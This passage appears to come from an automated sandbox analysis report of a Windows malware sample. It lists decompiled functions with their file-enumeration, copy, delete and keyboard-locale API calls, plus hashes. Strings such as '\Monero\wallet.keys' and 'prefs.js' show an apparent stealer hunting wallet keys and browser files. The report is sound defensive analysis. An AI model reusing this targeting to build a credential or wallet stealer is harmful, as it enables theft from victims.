FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001D15B8,001D0D96), ref: 001BF71E
StrCmpCA.SHLWAPI(?,001D15BC), ref: 001BF76F
StrCmpCA.SHLWAPI(?,001D15C0), ref: 001BF785
FindNextFileA.KERNEL32(000000FF,?), ref: 001BFAB1
FindClose.KERNEL32(000000FF), ref: 001BFAC3

Strings

prefs.js, xrefs: 001BF812

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 0acf9501d0d8256988c86da1b8b5916ab2b0d66a1520ab5e5c6bf289b010d6b4
Instruction ID: aed31aa6a699baaf7fef0eda5f33f944887c7251839b6222910d23a4d83c1c28
Opcode Fuzzy Hash: 0acf9501d0d8256988c86da1b8b5916ab2b0d66a1520ab5e5c6bf289b010d6b4
Instruction Fuzzy Hash: 62B112719002189BDB25FB60DC96FED7379AF74304F8085ADE40A97151EF31AB4ACB92

Function 001B16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001D510C,?,?,?,001D51B4,?,?,00000000,?,00000000), ref: 001B1923
StrCmpCA.SHLWAPI(?,001D525C), ref: 001B1973
StrCmpCA.SHLWAPI(?,001D5304), ref: 001B1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001B1D40
DeleteFileA.KERNEL32(00000000), ref: 001B1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 001B1E20
FindClose.KERNEL32(000000FF), ref: 001B1E32

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Strings

\*.*, xrefs: 001B17F1

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 5d1912e8b03b963a57162ae954215733f7df48496f300a3215cce8467f45e8f1
Instruction ID: 73d127a9d42eb22324a05927efd7bf7b7312e1289147229352b39180291fd00a
Opcode Fuzzy Hash: 5d1912e8b03b963a57162ae954215733f7df48496f300a3215cce8467f45e8f1
Instruction Fuzzy Hash: D012CE7195011CABDB16EB60DCA6FEE7378AF74305F80419DA50A62191EF30AF89CF91

Function 001BDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,001D0C2E), ref: 001BDE5E
StrCmpCA.SHLWAPI(?,001D14C8), ref: 001BDEAE
StrCmpCA.SHLWAPI(?,001D14CC), ref: 001BDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 001BE3E0
FindClose.KERNEL32(000000FF), ref: 001BE3F2

Strings

\*.*, xrefs: 001BDE26

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 51d52ea6c86000893956d2f98b1917ce64609a0ce792947b6f7373bf82df7d70
Instruction ID: 98b36ef440e06bd8fff0cfd8f982ae8a8941fd8134f3563a0af5118a40bf8d6e
Opcode Fuzzy Hash: 51d52ea6c86000893956d2f98b1917ce64609a0ce792947b6f7373bf82df7d70
Instruction Fuzzy Hash: F6F1697195411C9BDB26EB60DC96FEE7378AF74305FC0419EA40A62091EF30AB4ACF56

Function 001BDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001D14B0,001D0C2A), ref: 001BDAEB
StrCmpCA.SHLWAPI(?,001D14B4), ref: 001BDB33
StrCmpCA.SHLWAPI(?,001D14B8), ref: 001BDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 001BDDCC
FindClose.KERNEL32(000000FF), ref: 001BDDDE

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 0a0fae13375446e3ca4cd1547a3e2bea7224080bc085f39dbccb8fcba7e4a3a2
Instruction ID: bbf7203429b433a61fc5eb09905b2ab8f3638916d54a4234fd3e1049d5cb097e
Opcode Fuzzy Hash: 0a0fae13375446e3ca4cd1547a3e2bea7224080bc085f39dbccb8fcba7e4a3a2
Instruction Fuzzy Hash: C6910372900208A7CB15FBB0ED56EED777DAFA4304F80855CE90A96181EF35DB19CB92

Function 00584FDE Relevance: 12.4, Strings: 9, Instructions: 1124COMMON

Download Yara Rule

Strings

rZT8, xrefs: 00585BB7
<{x_, xrefs: 00585BEC
~5y~, xrefs: 00585114
1rsF, xrefs: 00585493
+oSu, xrefs: 00585A82
TZ,C, xrefs: 00585342
A6?7, xrefs: 005853E5
D<qk, xrefs: 00585937
}v, xrefs: 00585962

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +oSu$1rsF$<{x_$A6?7$D<qk$TZ,C$rZT8$~5y~$}v
API String ID: 0-2430177226
Opcode ID: 43ea3571ec6be97b8b1fcfcfd04bcdd33d12903e1705cf2420e5e2b93848a46e
Instruction ID: 1b751b870aca7e6a4a446e9ef00c0ecfe6b5a8d1c62e5b74a8fd2891a1002041
Opcode Fuzzy Hash: 43ea3571ec6be97b8b1fcfcfd04bcdd33d12903e1705cf2420e5e2b93848a46e
Instruction Fuzzy Hash: F87224F3A08200AFD3046E29EC8567AFBE5EFD4720F1A893DE6C587744EA3558058797

Function 001C7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

GetKeyboardLayoutList.USER32(00000000,00000000,001D05AF), ref: 001C7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 001C7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 001C7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 001C7C62
LocalFree.KERNEL32(00000000), ref: 001C7D22

Strings

/ , xrefs: 001C7C7F

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6536340e0dc76fc4e020ae0d3aeb5d9aaa22ed4c20b5fcddd42abd62fbbcec0d
Instruction ID: cbded19b7ee6ff832c5bd20cab857a94b93d5350f9f88471432ae1934397ee71
Opcode Fuzzy Hash: 6536340e0dc76fc4e020ae0d3aeb5d9aaa22ed4c20b5fcddd42abd62fbbcec0d
Instruction Fuzzy Hash: BA416D7194021CABCB25DB94DC99FEEB378FF64704F604199E40A62280DB74AF85CFA1

Function 001BE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,001D0D73), ref: 001BE4A2
StrCmpCA.SHLWAPI(?,001D14F8), ref: 001BE4F2
StrCmpCA.SHLWAPI(?,001D14FC), ref: 001BE508
FindNextFileA.KERNEL32(000000FF,?), ref: 001BEBDF

Strings

\*.*, xrefs: 001BE44D

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 575b8e90be598b6252d2c536ba42750db2fbef9dd36b51e1a96f1daad9fda3d2
Instruction ID: 3d9718465b08323226e79d2871f77be04c85e42022c5b7dd042d89e6016ba771
Opcode Fuzzy Hash: 575b8e90be598b6252d2c536ba42750db2fbef9dd36b51e1a96f1daad9fda3d2
Instruction Fuzzy Hash: 06121D7191011CABDB16FB60DCA6FED7378AF74304F8041ADA50A96191EF34AF49CB92

Function 00589C6C Relevance: 9.2, Strings: 6, Instructions: 1661COMMON

Download Yara Rule

Strings

1o{, xrefs: 00589F0B
Fs}, xrefs: 0058A8AF
&X/p, xrefs: 0058A846
.o, xrefs: 0058A3FF
HS_X, xrefs: 0058B082
fS}, xrefs: 0058A01D

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &X/p$.o$1o{$Fs}$HS_X$fS}
API String ID: 0-4075491589
Opcode ID: c04104917282296cf35df845905893d257e070242cc869497933a0cfd44856cf
Instruction ID: 7e3e80f31f3f9b4a7b4348c8423758b11d57e8ab4cfdae86bde37640dc250001
Opcode Fuzzy Hash: c04104917282296cf35df845905893d257e070242cc869497933a0cfd44856cf
Instruction Fuzzy Hash: 53B2F7F3A0C204AFE3046E29EC8567ABBE9EF94720F16493DE6C4D3744E63598058797

Function 0057FA49 Relevance: 9.1, Strings: 6, Instructions: 1620COMMON

Download Yara Rule

Strings

C,o+, xrefs: 0057FBA5
U)7\, xrefs: 00580C22
""k, xrefs: 0057FED4
dAzw, xrefs: 0057FC6F
6'w, xrefs: 0057FA7C
Ao9, xrefs: 0057FD11

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ""k$6'w$Ao9$C,o+$U)7\$dAzw
API String ID: 0-3349261393
Opcode ID: 997fb2eb7c60b0d929ef784617f5c82b4d9d6d801e2c7b77037e6e3561114706
Instruction ID: 061d40d71bb5eb5b50050b5d6ef8fc6661d776a83d415ab0e165ba3902eb76cc
Opcode Fuzzy Hash: 997fb2eb7c60b0d929ef784617f5c82b4d9d6d801e2c7b77037e6e3561114706
Instruction Fuzzy Hash: BBB219F360C204AFE704AE2DEC4567BBBE6EBD4720F168A3DE6C483744EA3558058657

Function 0058EEF1 Relevance: 7.9, Strings: 5, Instructions: 1644COMMON

Download Yara Rule

Strings

JgK, xrefs: 0058F562
@>?, xrefs: 0058F05F
g9?Z, xrefs: 0058F1A8
qgO, xrefs: 0058F2DC
a(_, xrefs: 00590276

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @>?$JgK$a(_$g9?Z$qgO
API String ID: 0-161722662
Opcode ID: e8769f8c1d2cc9718eb4c3bd0d3f5d27f25a1ba79938dad9f3ed0e2d35a945d9
Instruction ID: 75b30384818c107f2b9ada0a91e1150da0d6de0589251d9d57d4ba045715928d
Opcode Fuzzy Hash: e8769f8c1d2cc9718eb4c3bd0d3f5d27f25a1ba79938dad9f3ed0e2d35a945d9
Instruction Fuzzy Hash: 1EB238F3A0C2149FE3046E2DEC8567ABBE9EF94720F1A453DEAC4C7344E63598058697

Function 00582F8C Relevance: 7.9, Strings: 5, Instructions: 1621COMMON

Download Yara Rule

Strings

eo;, xrefs: 00583148
J{MM, xrefs: 00583575
$7EL, xrefs: 00584237
`6=, xrefs: 00583C27
< }, xrefs: 0058416A

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches
